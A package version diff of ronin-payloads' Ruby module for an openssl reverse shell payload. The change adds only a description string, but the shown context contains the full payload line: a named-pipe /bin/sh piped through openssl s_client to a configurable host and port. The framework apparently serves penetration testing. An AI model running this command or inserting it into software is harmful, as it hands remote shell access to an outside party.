lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb in ronin-payloads-0.1.1 vs lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb in ronin-payloads-0.1.2

- old
+ new

@@ -33,9 +33,13 @@ include Mixins::ReverseShell register 'cmd/openssl/reverse_shell' + description <<~DESC + A basic `openssl` reverse shell command. + DESC + # # Builds the `openssl` reverse shell command. # def build @payload = %{mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect #{host}:#{port} > fifo; rm fifo}